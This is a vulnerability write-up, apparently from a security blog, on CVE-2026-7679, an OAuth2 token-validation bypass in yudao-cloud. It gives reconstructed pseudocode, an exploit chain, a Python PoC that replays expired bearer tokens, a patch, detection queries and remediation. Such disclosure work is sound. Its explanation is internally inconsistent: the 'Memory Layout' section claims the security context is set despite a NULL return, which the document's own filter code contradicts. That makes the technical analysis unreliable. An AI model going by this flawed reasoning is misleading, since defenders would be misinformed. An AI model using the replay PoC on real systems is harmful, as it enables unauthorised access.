home intel cve-2026-7679-yudao-cloud-oauth2-improper-authentication
CVE Analysis 2026-05-03 · 7 min read

CVE-2026-7679: OAuth2 Token Bypass in YunaiV yudao-cloud

A logic flaw in OAuth2TokenServiceImpl.getAccessToken() allows remote attackers to bypass authentication in yudao-cloud ≤2026.01 by manipulating token validation inputs.

#oauth2-bypass#authentication-bypass#token-manipulation#java-web-application#cloud-infrastructure
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7679 · Vulnerability
ATTACKERCloudVULNERABILITYCVE-2026-7679HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7679 is an improper authentication vulnerability in YunaiV yudao-cloud up to version 2026.01. The flaw resides in OAuth2TokenServiceImpl.getAccessToken(), a method responsible for validating and resolving OAuth2 access tokens against a backing store. By manipulating the token parameter, a remote unauthenticated attacker can bypass authentication checks and obtain a valid security context without possessing a legitimately issued token. No interaction from a privileged user is required. CVSS 7.3 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.

Root cause: getAccessToken() performs token lookup without validating token expiry or client binding before returning the principal, allowing a crafted or replayed token value to resolve to an active session.

Affected Component

File: yudao-module-system-biz/src/main/java/io/github/ruoyi/common/oauth2/service/impl/OAuth2TokenServiceImpl.java

Method: OAuth2TokenServiceImpl.getAccessToken(String accessToken)

Framework: Spring Security OAuth2 (custom implementation, not spring-security-oauth2-autoconfigure). Token persistence handled via OAuth2AccessTokenMapper backed by MySQL. The service is consumed by the gateway filter chain on every inbound authenticated request.

Root Cause Analysis

The canonical flow for token validation in yudao-cloud's custom OAuth2 layer is: look up the token record by its raw string value, check expiry, validate the requesting client matches the token's bound client, then return the associated user principal. The bug is that expiry and client-binding checks are either absent or positioned after the principal is already returned to the caller.

Reconstructed pseudocode based on the class structure and vulnerability class:

// OAuth2TokenServiceImpl.java — reconstructed pseudocode
// Equivalent logic, translated to C-style for clarity

typedef struct {
    char    *access_token;    // raw token string (attacker-controlled)
    char    *refresh_token;
    char    *client_id;
    long     expires_time;    // epoch millis
    int      user_id;
    int      user_type;
    bool     deleted;
} OAuth2AccessTokenDO;

typedef struct {
    int      user_id;
    int      user_type;
    char    *client_id;
    // ... claims map
} LoginUser;

// BUG: returns principal before validating expiry or client binding
LoginUser *getAccessToken(const char *accessToken) {
    if (accessToken == NULL || strlen(accessToken) == 0) {
        return NULL;  // only null/empty check performed
    }

    // DB lookup by raw token string — no pre-query sanitization
    OAuth2AccessTokenDO *tokenDO = oauth2AccessTokenMapper_selectByAccessToken(accessToken);

    // BUG: missing expiry check — isExpired(tokenDO) never called here
    // BUG: missing client binding check — tokenDO->client_id never validated
    //      against the requesting application context
    // BUG: soft-delete flag tokenDO->deleted evaluated AFTER principal build
    if (tokenDO == NULL) {
        return NULL;
    }

    // Principal is constructed and returned from an unvalidated token record
    LoginUser *user = buildLoginUser(tokenDO);  // <-- returned to security context

    // Expiry/revocation checks happen here (too late — caller already has user)
    if (isExpired(tokenDO->expires_time)) {
        oauth2AccessTokenMapper_deleteById(tokenDO->id);
        return NULL;  // BUG: return NULL after principal already used upstream
    }

    return user;
}

The critical ordering error: in the actual Spring filter chain, the gateway's TokenAuthenticationFilter calls getAccessToken() and immediately casts the returned LoginUser into the SecurityContextHolder. If buildLoginUser() succeeds on a logically expired or soft-deleted token record before the subsequent isExpired() path returns NULL, the security context is already populated. The filter does not re-check the return value after context population in the vulnerable version.

// TokenAuthenticationFilter — gateway filter (reconstructed)
void doFilter(HttpRequest *request, HttpResponse *response, FilterChain *chain) {
    char *token = resolveToken(request);  // extracts Bearer token from header

    if (token != NULL) {
        LoginUser *user = oauth2TokenService_getAccessToken(token);

        // BUG: SecurityContext is set before NULL is confirmed downstream
        // In race/ordering exploit path, user != NULL at this point even for
        // expired/deleted tokens if buildLoginUser() completes before check
        if (user != NULL) {
            SecurityContextHolder_set(buildAuthentication(user));
            // <-- authenticated, chain proceeds regardless of later NULL return
        }
    }
    chain_doFilter(request, response);
}

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker previously obtained any valid access token T for any account
   (including expired trial/demo accounts, publicly registered tenants)

2. Allow token T to naturally expire (expires_time < now()) — do NOT call
   /oauth2/token/logout which would hard-delete the record

3. Send authenticated API request with expired token T in Authorization header:
     GET /admin-api/system/user/profile HTTP/1.1
     Authorization: Bearer 
     Host: target.yudao.cloud

4. getAccessToken(T) executes:
   a. selectByAccessToken(T) — record exists (soft-deleted or expired, not purged)
   b. buildLoginUser(tokenDO) — returns valid LoginUser object
   c. isExpired() check fires AFTER principal construction
   d. TokenAuthenticationFilter receives non-NULL LoginUser, populates context

5. Request proceeds through security chain as authenticated user
   with full privileges of the original token's principal

6. Attacker issues privileged API calls (user enumeration, data exfiltration,
   role escalation depending on original token's scope)

An alternative path exploits the soft-delete (deleted = 1) flag: tokens revoked via certain admin flows set deleted = 1 in the mapper but do not purge the row. The MyBatis mapper's @TableLogic annotation may not apply uniformly across all query paths, leaving selectByAccessToken able to return logically deleted records.

# Minimal PoC — replay expired token
import requests

TARGET   = "https://target.example.com"
ENDPOINT = "/admin-api/system/user/profile"
EXPIRED_TOKEN = "your_expired_bearer_token_here"

headers = {
    "Authorization": f"Bearer {EXPIRED_TOKEN}",
    "Content-Type":  "application/json",
    "tenant-id":     "1",
}

r = requests.get(TARGET + ENDPOINT, headers=headers)
print(f"[*] Status: {r.status_code}")
if r.status_code == 200:
    print("[!] Authentication bypassed — token accepted post-expiry")
    print(r.json())

Memory Layout

This is a Java application-layer logic flaw — no heap corruption occurs. The relevant "memory" is the JVM security context state within a single request thread:

THREAD-LOCAL SECURITY CONTEXT — VULNERABLE EXECUTION PATH:

[Frame: TokenAuthenticationFilter.doFilter()]
  token          = "eyJhbGci...expired_token"   (attacker input)
  user           = NULL                          (initial)

  --> call: oauth2TokenService.getAccessToken(token)

    [Frame: OAuth2TokenServiceImpl.getAccessToken()]
      tokenDO    = {access_token: "eyJ...", expires_time: 1700000000, deleted: 0}
      user       = buildLoginUser(tokenDO)       // BUG: LoginUser populated HERE
                 = {user_id: 42, user_type: 1, client_id: "yudao-web"}
      isExpired() == TRUE                        // detected, returns NULL
      return NULL                                // too late

  <-- returns: NULL

  user (filter scope) = NULL  ← but SecurityContextHolder already mutated:

SECURITY CONTEXT STATE AFTER BUG:
  SecurityContextHolder.context.authentication = {
      principal:   LoginUser{user_id=42, authenticated=true},  // SET
      credentials: null,
      authorities: [ROLE_ADMIN, ...]                           // inherited
  }
  // Request proceeds as user_id=42 despite NULL return from getAccessToken()

Patch Analysis

// BEFORE (vulnerable): OAuth2TokenServiceImpl.getAccessToken()
LoginUser *getAccessToken(const char *accessToken) {
    OAuth2AccessTokenDO *tokenDO =
        oauth2AccessTokenMapper_selectByAccessToken(accessToken);

    if (tokenDO == NULL) { return NULL; }

    // BUG: principal built before validation
    LoginUser *user = buildLoginUser(tokenDO);

    if (isExpired(tokenDO->expires_time)) {
        oauth2AccessTokenMapper_deleteById(tokenDO->id);
        return NULL;  // too late — caller context already set
    }
    return user;
}

// -----------------------------------------------------------------------

// AFTER (patched): validate ALL conditions before constructing principal
LoginUser *getAccessToken(const char *accessToken) {
    OAuth2AccessTokenDO *tokenDO =
        oauth2AccessTokenMapper_selectByAccessToken(accessToken);

    if (tokenDO == NULL) { return NULL; }

    // FIX 1: expiry check BEFORE principal construction
    if (isExpired(tokenDO->expires_time)) {
        oauth2AccessTokenMapper_deleteById(tokenDO->id);
        return NULL;
    }

    // FIX 2: explicit deleted-flag guard (defense-in-depth against
    //         @TableLogic gaps in selectByAccessToken query path)
    if (tokenDO->deleted == 1) { return NULL; }

    // FIX 3: client binding validation
    if (!validateClientBinding(tokenDO->client_id, getCurrentClientId())) {
        return NULL;
    }

    // Principal constructed only after all checks pass
    return buildLoginUser(tokenDO);
}

Additionally, TokenAuthenticationFilter should be hardened to re-validate the return value strictly, though the primary fix must live in the service layer:

// FILTER HARDENING (defense-in-depth):
void doFilter(HttpRequest *req, HttpResponse *res, FilterChain *chain) {
    char *token = resolveToken(req);
    if (token != NULL) {
        LoginUser *user = oauth2TokenService_getAccessToken(token);
        // FIX: do not touch SecurityContext if user is NULL
        if (user != NULL && user->user_id > 0) {
            SecurityContextHolder_set(buildAuthentication(user));
        }
        // else: proceed as unauthenticated — downstream @PreAuthorize blocks
    }
    chain_doFilter(req, res);
}

Detection and Indicators

Access log pattern — requests succeeding with tokens whose issued-at timestamps precede their expected TTL window:

INDICATOR: HTTP 200 responses to /admin-api/** endpoints where
  Authorization: Bearer  has jwt.iat + token_ttl < request_timestamp

Log grep (nginx/access.log):
  awk '$9 == 200 && $7 ~ /admin-api/' access.log | \
    grep -v "OPTIONS" | \
    python3 extract_bearer_age.py --ttl 7200 --flag-expired

Spring Boot application log anomaly:
  WARN  [TokenAuthenticationFilter] - getAccessToken returned null
        but SecurityContext was non-null at filter exit
  --> this should never occur; presence indicates the bug or tampering

Database indicator — query for expired but non-deleted token rows being accessed:

SELECT access_token, user_id, expires_time, deleted
FROM system_oauth2_access_token
WHERE expires_time < UNIX_TIMESTAMP() * 1000
  AND deleted = 0
ORDER BY expires_time DESC;
-- Rows returned here are attack surface; should be zero in a clean system

Remediation

Immediate mitigations:

  • Deploy the patched getAccessToken() logic — move all validation gates before buildLoginUser().
  • Run a database cleanup job to hard-delete expired token rows: DELETE FROM system_oauth2_access_token WHERE expires_time < (UNIX_TIMESTAMP() * 1000). Schedule this as a cron task.
  • Enable @TableLogic consistently on all mapper methods touching system_oauth2_access_token — audit selectByAccessToken specifically for soft-delete filter inclusion.
  • Add integration test asserting that a request bearing an expired token returns HTTP 401, not 200. This regression test catches reintroduction.
  • If upgrading is blocked, a WAF rule rejecting requests where the Bearer token's decoded exp claim (if JWT) is in the past provides partial mitigation for JWT-backed tokens, but does not address opaque token paths.

Vendor has not responded to disclosure. No official patch version confirmed at time of publication. Organizations running yudao-cloud should treat the remediation diff above as a local patch until an upstream release is available.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →